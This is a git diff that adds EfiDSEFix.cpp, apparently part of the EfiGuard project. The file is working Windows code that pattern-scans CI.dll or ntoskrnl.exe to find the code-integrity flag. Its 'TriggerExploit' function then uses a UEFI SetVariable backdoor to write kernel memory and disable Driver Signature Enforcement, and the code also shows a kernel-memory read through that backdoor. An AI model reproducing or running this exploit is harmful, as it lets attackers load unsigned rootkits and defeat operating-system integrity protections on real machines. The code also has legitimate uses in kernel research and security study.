diff options
Diffstat (limited to 'Application/EfiDSEFix/src/EfiDSEFix.cpp')
-rw-r--r-- | Application/EfiDSEFix/src/EfiDSEFix.cpp | 419 |
1 files changed, 419 insertions, 0 deletions
diff --git a/Application/EfiDSEFix/src/EfiDSEFix.cpp b/Application/EfiDSEFix/src/EfiDSEFix.cpp new file mode 100644 index 0000000..59b6a34 --- /dev/null +++ b/Application/EfiDSEFix/src/EfiDSEFix.cpp @@ -0,0 +1,419 @@ +#include "EfiDSEFix.h" +#include "EfiCompat.h" +#include "hde/hde64.h" +#include <ntstatus.h> + +#include <Protocol/EfiGuard.h> + +EFI_GUID gEfiGlobalVariableGuid = EFI_GLOBAL_VARIABLE; + +static +NTSTATUS +FindKernelModule( + _In_ PCCH ModuleName, + _Out_ PULONG_PTR ModuleBase + ) +{ + *ModuleBase = 0; + + ULONG Size = 0; + NTSTATUS Status; + if ((Status = NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &Size)) != STATUS_INFO_LENGTH_MISMATCH) + return Status; + + const PRTL_PROCESS_MODULES Modules = static_cast<PRTL_PROCESS_MODULES>(RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, 2 * static_cast<SIZE_T>(Size))); + Status = NtQuerySystemInformation(SystemModuleInformation, + Modules, + 2 * Size, + nullptr); + if (!NT_SUCCESS(Status)) + goto Exit; + + for (ULONG i = 0; i < Modules->NumberOfModules; ++i) + { + RTL_PROCESS_MODULE_INFORMATION Module = Modules->Modules[i]; + if (_stricmp(ModuleName, reinterpret_cast<PCHAR>(Module.FullPathName) + Module.OffsetToFileName) == 0) + { + *ModuleBase = reinterpret_cast<ULONG_PTR>(Module.ImageBase); + Status = STATUS_SUCCESS; + break; + } + } + +Exit: + RtlFreeHeap(RtlProcessHeap(), 0, Modules); + return Status; +} + +// For Windows Vista/7. Credits: DSEFix by hfiref0x +static +LONG +QueryCiEnabled( + _In_ PVOID MappedBase, + _In_ SIZE_T SizeOfImage, + _In_ ULONG_PTR KernelBase, + _Out_ PULONG_PTR gCiEnabledAddress + ) +{ + *gCiEnabledAddress = 0; + + LONG Relative = 0; + for (SIZE_T i = 0; i < SizeOfImage - sizeof(ULONG); ++i) + { + if (*reinterpret_cast<PULONG>(static_cast<PUCHAR>(MappedBase) + i) == 0x1d8806eb) + { + Relative = *reinterpret_cast<PLONG>(static_cast<PUCHAR>(MappedBase) + i + 4); + *gCiEnabledAddress = KernelBase + i + 8 + Relative; + break; + } + } + return Relative; +} + +// For Windows 8 and worse. Credits: DSEFix by hfiref0x +static +LONG +QueryCiOptions( + _In_ PVOID MappedBase, + _In_ ULONG_PTR KernelBase, + _Out_ PULONG_PTR gCiOptionsAddress + ) +{ + *gCiOptionsAddress = 0; + + ULONG i; + LONG Relative = 0; + hde64s hs; + + const PUCHAR CiInitialize = reinterpret_cast<PUCHAR>(GetProcedureAddress(reinterpret_cast<ULONG_PTR>(MappedBase), "CiInitialize")); + if (CiInitialize == nullptr) + return 0; + + if (NtCurrentPeb()->OSBuildNumber >= 16299) + { + i = 0; + ULONG j = 0; + do + { + // call CipInitialize + if (CiInitialize[i] == 0xE8) + j++; + + if (j > 1) + { + Relative = *reinterpret_cast<PLONG>(CiInitialize + i + 1); + break; + } + + hde64_disasm(CiInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + } + else + { + i = 0; + do + { + // jmp CipInitialize + if (CiInitialize[i] == 0xE9) + { + Relative = *reinterpret_cast<PLONG>(CiInitialize + i + 1); + break; + } + hde64_disasm(CiInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + } + + const PUCHAR CipInitialize = CiInitialize + i + 5 + Relative; + i = 0; + do + { + if (*reinterpret_cast<PUSHORT>(CipInitialize + i) == 0x0d89) + { + Relative = *reinterpret_cast<PLONG>(CipInitialize + i + 2); + break; + } + hde64_disasm(CipInitialize + i, &hs); + if (hs.flags & F_ERROR) + break; + i += hs.len; + + } while (i < 256); + + const PUCHAR MappedCiOptions = CipInitialize + i + 6 + Relative; + + *gCiOptionsAddress = KernelBase + MappedCiOptions - static_cast<PUCHAR>(MappedBase); + + return Relative; +} + +static +NTSTATUS +AnalyzeCi( + _Out_ PVOID *CiOptionsAddress + ) +{ + *CiOptionsAddress = nullptr; + + // Map file as SEC_IMAGE + WCHAR Path[MAX_PATH]; + const CHAR NtoskrnlExe[] = "ntoskrnl.exe"; + const CHAR CiDll[] = "CI.dll"; + + _snwprintf(Path, MAX_PATH / sizeof(WCHAR), L"%ls\\System32\\%hs", + SharedUserData->NtSystemRoot, + NtCurrentPeb()->OSBuildNumber >= 9200 ? CiDll : NtoskrnlExe); + + PVOID MappedBase; + SIZE_T ViewSize; + NTSTATUS Status = MapFileSectionView(Path, &MappedBase, &ViewSize); + if (!NT_SUCCESS(Status)) + { + Printf(L"Failed to map %ls: %08X\n", Path, Status); + return Status; + } + + if (NtCurrentPeb()->OSBuildNumber >= 9200) + { + // Find CI.dll!g_CiOptions + ULONG_PTR CiDllBase; + Status = FindKernelModule(CiDll, &CiDllBase); + if (!NT_SUCCESS(Status)) + goto Exit; + + ULONG_PTR gCiOptionsAddress; + const LONG Relative = QueryCiOptions(MappedBase, CiDllBase, &gCiOptionsAddress); + if (Relative != 0) + { + *CiOptionsAddress = reinterpret_cast<PVOID>(gCiOptionsAddress); + Status = STATUS_SUCCESS; + } + else + { + Status = STATUS_NOT_FOUND; + } + } + else + { + // Find ntoskrnl.exe!g_CiEnabled + ULONG_PTR KernelBase; + Status = FindKernelModule(NtoskrnlExe, &KernelBase); + if (!NT_SUCCESS(Status)) + goto Exit; + + ULONG_PTR gCiEnabledAddress; + const LONG Relative = QueryCiEnabled(MappedBase, ViewSize, KernelBase, &gCiEnabledAddress); + if (Relative != 0) + { + *CiOptionsAddress = reinterpret_cast<PVOID>(gCiEnabledAddress); + Status = STATUS_SUCCESS; + } + else + { + Status = STATUS_NOT_FOUND; + } + } + +Exit: + NtUnmapViewOfSection(NtCurrentProcess, MappedBase); + return Status; +} + +static +NTSTATUS +SetSystemEnvironmentPrivilege( + _In_ BOOLEAN Enable, + _Out_opt_ PBOOLEAN WasEnabled + ) +{ + if (WasEnabled != nullptr) + *WasEnabled = FALSE; + + BOOLEAN SeSystemEnvironmentWasEnabled; + const NTSTATUS Status = RtlAdjustPrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, + Enable, + FALSE, + &SeSystemEnvironmentWasEnabled); + + if (NT_SUCCESS(Status) && WasEnabled != nullptr) + *WasEnabled = SeSystemEnvironmentWasEnabled; + + return Status; +} + +NTSTATUS +TestSetVariableHook( + ) +{ + // Enable privileges in case we were called directly from the CLI with --check + BOOLEAN SeSystemEnvironmentWasEnabled; + NTSTATUS Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled); + if (!NT_SUCCESS(Status)) + { + Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n"); + return Status; + } + + // Find some kernel address to read + ULONG_PTR HalBase; + Status = FindKernelModule("hal.dll", &HalBase); + if (!NT_SUCCESS(Status)) + return Status; + + // Set up the struct for a backdoor kernel mode read. See TriggerExploit for explanations + EFIGUARD_BACKDOOR_DATA BackdoorData; + RtlZeroMemory(&BackdoorData, sizeof(BackdoorData)); + BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE; + BackdoorData.KernelAddress = reinterpret_cast<PVOID>(HalBase); + BackdoorData.u.Qword = UINT64_MAX; // Bogus value to verify write-back after the read operation + BackdoorData.IsMemCopy = FALSE; + BackdoorData.IsReadOperation = TRUE; + BackdoorData.Size = sizeof(UINT16); + + // Call SetVariable() + UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME); + Status = NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + &BackdoorData, + EFIGUARD_BACKDOOR_VARIABLE_DATASIZE, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + if (!NT_SUCCESS(Status)) + { + Printf(L"Failure: NtSetSystemEnvironmentValueEx error %08X\n", Status); + goto Exit; + } + + // Did we get any data back? + if (BackdoorData.u.Qword == UINT64_MAX) + { + Printf(L"Failure: EFI SetVariable() did not return any data.\nThe EfiGuard DXE driver is either not loaded in SETVARIABLE_HOOK mode, or it is malfunctioning.\n"); + + // Clean up, since we actually wrote a variable to NVRAM here... + NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + nullptr, + 0, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + Status = STATUS_NO_SUCH_DEVICE; + goto Exit; + } + + // Check if hal.dll still starts with "MZ" + UINT16 Mz = static_cast<UINT16>(BackdoorData.u.s.Word); + if (Mz != 0x5A4D) + { + Printf(L"Failure: received unexpected data from test read of 0x%p. Expected: 4D 5A, received: %02X %02X.\n", + reinterpret_cast<PVOID>(HalBase), reinterpret_cast<PUCHAR>(&Mz)[0], reinterpret_cast<PUCHAR>(&Mz)[1]); + Status = STATUS_INVALID_IMAGE_NOT_MZ; // Literally + } + +Exit: + SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr); + + return Status; +} + +static +NTSTATUS +TriggerExploit( + _In_ PVOID CiVariableAddress, + _In_ ULONG CiOptionsValue, + _Out_opt_ PULONG OldCiOptionsValue + ) +{ + if (OldCiOptionsValue != nullptr) + *OldCiOptionsValue = CODEINTEGRITY_OPTION_ENABLED; + + // First check if the hook is enabled and working + NTSTATUS Status = TestSetVariableHook(); + if (!NT_SUCCESS(Status)) + return Status; + + // Number of bytes to write: 1 on Windows 7, 4 on lesser OSes + const UINT32 CiPatchSize = NtCurrentPeb()->OSBuildNumber >= 9200 + ? sizeof(UINT32) + : sizeof(UINT8); + + // Set up the struct for a backdoor kernel mode R/W + EFIGUARD_BACKDOOR_DATA BackdoorData; + RtlZeroMemory(&BackdoorData, sizeof(BackdoorData)); + BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE; // Authentication cookie + BackdoorData.KernelAddress = CiVariableAddress; // Address to write to + if (CiPatchSize == sizeof(UINT32)) // Set the appropriate field to our desired value (e.g. 0 to disable DSE) + BackdoorData.u.s.Dword = static_cast<UINT32>(CiOptionsValue); + else if (CiPatchSize == sizeof(UINT8)) + BackdoorData.u.s.Byte = static_cast<UINT8>(CiOptionsValue); + BackdoorData.IsMemCopy = FALSE; // This is a scalar operation, not memcpy + BackdoorData.IsReadOperation = FALSE; // This is a write operation, not read + BackdoorData.Size = CiPatchSize; // This value determines the field (Byte/Word/Dword/Qword) that the value to write will be read from, and written to on return + + // Call NtSetSystemEnvironmentValueEx -> [...] -> hal!HalSetEnvironmentVariableEx -> hal!HalEfiSetEnvironmentVariable -> EfiRT->SetVariable. + // On Windows >= 8 it is possible to use SetFirmwareEnvironmentVariableExW. We use the syscall directly because it exists on Windows 7 and Vista. + UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME); + Status = NtSetSystemEnvironmentValueEx(&VariableName, + EFIGUARD_BACKDOOR_VARIABLE_GUID, + &BackdoorData, + EFIGUARD_BACKDOOR_VARIABLE_DATASIZE, + EFIGUARD_BACKDOOR_VARIABLE_ATTRIBUTES); + if (!NT_SUCCESS(Status)) + { + Printf(L"NtSetSystemEnvironmentValueEx: error %08X\n", Status); + return Status; + } + + const ULONG OldCiOptions = CiPatchSize == sizeof(UINT32) + ? static_cast<ULONG>(BackdoorData.u.s.Dword) + : static_cast<ULONG>(BackdoorData.u.s.Byte); + + if (OldCiOptionsValue != nullptr) + { + // Return the previous value of g_CiOptions/g_CiEnabled + *OldCiOptionsValue = OldCiOptions; + } + + return STATUS_SUCCESS; +} + +NTSTATUS +AdjustCiOptions( + _In_ ULONG CiOptionsValue, + _Out_opt_ PULONG OldCiOptionsValue + ) +{ + if (OldCiOptionsValue != nullptr) + *OldCiOptionsValue = CODEINTEGRITY_OPTION_ENABLED; + + // Find CI!g_CiOptions/nt!g_CiEnabled + PVOID CiOptionsAddress; + NTSTATUS Status = AnalyzeCi(&CiOptionsAddress); + if (!NT_SUCCESS(Status)) + return Status; + + Printf(L"%ls at 0x%p.\n", (NtCurrentPeb()->OSBuildNumber >= 9200 ? L"CI!g_CiOptions" : L"nt!g_CiEnabled"), CiOptionsAddress); + + // Enable privileges + BOOLEAN SeSystemEnvironmentWasEnabled; + Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled); + if (!NT_SUCCESS(Status)) + { + Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n"); + return Status; + } + + // Enable/disable CI + Status = TriggerExploit(CiOptionsAddress, + CiOptionsValue, + OldCiOptionsValue); + + // Revert privileges + SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr); + + return Status; +} |